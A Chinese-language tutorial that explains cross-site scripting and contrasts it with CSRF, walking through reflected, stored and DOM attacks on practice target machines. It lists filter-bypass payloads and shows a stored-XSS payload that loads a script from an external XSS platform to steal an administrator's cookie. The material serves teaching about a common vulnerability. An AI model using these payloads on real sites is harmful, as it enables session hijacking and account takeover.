跨站腳本攻擊XSS與CSRF區(qū)別方法詳解
引文
上篇文章給大家?guī)砹薠ML實體注入(XXE)不知道小伙伴們學了后有沒有自己去運用,今天給大家?guī)砹艘粋€名為跨站腳本攻擊(XSS)的漏洞的介紹。
簡介

XSS 攻擊全稱跨站腳本攻擊,XSS 是一種在 web 應用中的安全漏洞,它允許攻擊者將代碼植入到 web 網站里面,供給其它用戶 訪問,當用戶訪問到有惡意代碼的網頁就會產生 xss 攻擊。
XSS與CSRF區(qū)別
之前講過CSRF漏洞,它同樣也是利用用戶訪問網站鏈接來進行攻擊,那么它與XSS漏洞之間的區(qū)別是什么,在我個人的理解中可以分為兩個大方向:
ONE
原理不同,CSRF利用的是網站本身的漏洞來去攻擊,而XSS則是將攻擊代碼插入網站中來進行攻擊。
TWO
利用環(huán)境不同, CSRF攻擊中需要受害者登錄網站,網站有認證信息才能攻擊,而XSS不用。
XSS攻擊方法
首先XSS有三種攻擊方式:
- 反射型xss:不會永久存儲用戶的數(shù)據(jù),僅發(fā)生在用戶的一次訪問之后。
- 存儲型xss:攻擊代碼被持久化保存在服務器上,不會因為一次訪問就消失,持久攻擊。
- DOM型不需要與服務器端交互的,它只發(fā)生在客戶端處理數(shù)據(jù)階段。
接下來我會分開詳細的講解這幾種類型是怎樣利用的:
反射型
客戶端通過某種方式向服務器端發(fā)送惡意JS代碼=>服務器將未過濾或過濾不徹底的惡意JS代碼輸出(返回給瀏覽器)=>瀏覽器中的JS解釋器解析惡意JS代碼,使用戶受到攻擊。
一個經典的XSS攻擊請求,然網頁彈出xss:
<script>alert(/xss/)</script>
當然不止這一個,很多情況下一些函數(shù)被過濾了,我們也有繞過過濾的方法,下面就簡單列舉幾個:
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
1"><ScscriptRipt>alert(1)</ScscriptRipt>
接下來給大家?guī)硪粋€滲透的例子:
我們打開靶機查看源碼,發(fā)現(xiàn)它是向服務器提交了一個name參數(shù),而這一個參數(shù)值插入到了<h3></h3>標簽之間 ,因此可能存在XSS漏洞。

于是我們構造請求,將name賦值為:
<script>alert('xss')</script>
一個經典的彈窗payload,我們提交請求查看效果:

成功彈窗,一次簡單的反射XSS攻擊成功達成。
存儲型
儲型XSS的特別之處在于提交的代碼會存儲在服務器端(數(shù)據(jù)庫、內存、文件系統(tǒng)等),下次請求時目標頁面時不用再提交XSS代碼。所以存儲型XSS的攻擊效果更強,而且攻擊的范圍更廣。一般存在于留言板評論等地區(qū)。 用一個靶機來給大家演示一下:

一個可以發(fā)表信息樹洞網站,有登錄和評論系統(tǒng),我們先隨便評論幾句測試一下:

構造PAYLOAD
<IMG SRC="javascript.:alert('XINO');">
我們簡單訪問一下存儲路徑,發(fā)現(xiàn)是一個錯報的圖片,存在XSS漏洞,接著我們利用XSS平臺(一個DIY構造不同XSS攻擊功能代碼的網站,當XSS生效時可以回到網站查看攻擊是否生效和攻擊得出的信息)構造XSSpayload

得到構造好的惡意攻擊鏈接:
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss9.com/PAns';>
提交在評論區(qū)然后訪問保存路徑,回到XSS平臺查看:

得到admin管理員的cookie,我們就可以通過修改cookie來獲取管理員權限,從而進行進一步的滲透攻擊。上面就是一個簡單的存儲型XSS的利用。
DOM型
攻擊代碼并不需要服務器解析響應,利用的是瀏覽器端的DOM解析,在客戶端直接輸出DOM內容的時候極易觸發(fā)DOM型XSS漏洞。因為利用比較少,就放個簡單payload:
<img src=1 onerror=alert(1)>
XSS攻擊危害
根據(jù)上文的演示大家也能看出來XSS的危害了吧,這里就綜合簡述一下它的危害。
- 盜取各類用戶帳號,如管理員帳號
- 控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力
- 網站掛馬
- 強制發(fā)送電子郵件(釣魚)
- 控制受害者機器(肉雞)向其它網站發(fā)起攻擊
結語
今天比較詳細的講了XSS漏洞的原理以及應用方法,其中比較重要的是反射型XSS與存儲型XSS,這兩個的利用條件并不是很苛刻而且效果很突出,有興趣的小伙伴可以自己去搭建靶機來進行合法測試,切勿隨意對別人網站進行測試攻擊,互聯(lián)網并非法外之地,以上就是跨站腳本攻擊XSS與CSRF區(qū)別方法詳解的詳細內容,更多關于跨站腳本攻擊XSS CSRF的資料請關注腳本之家其它相關文章!

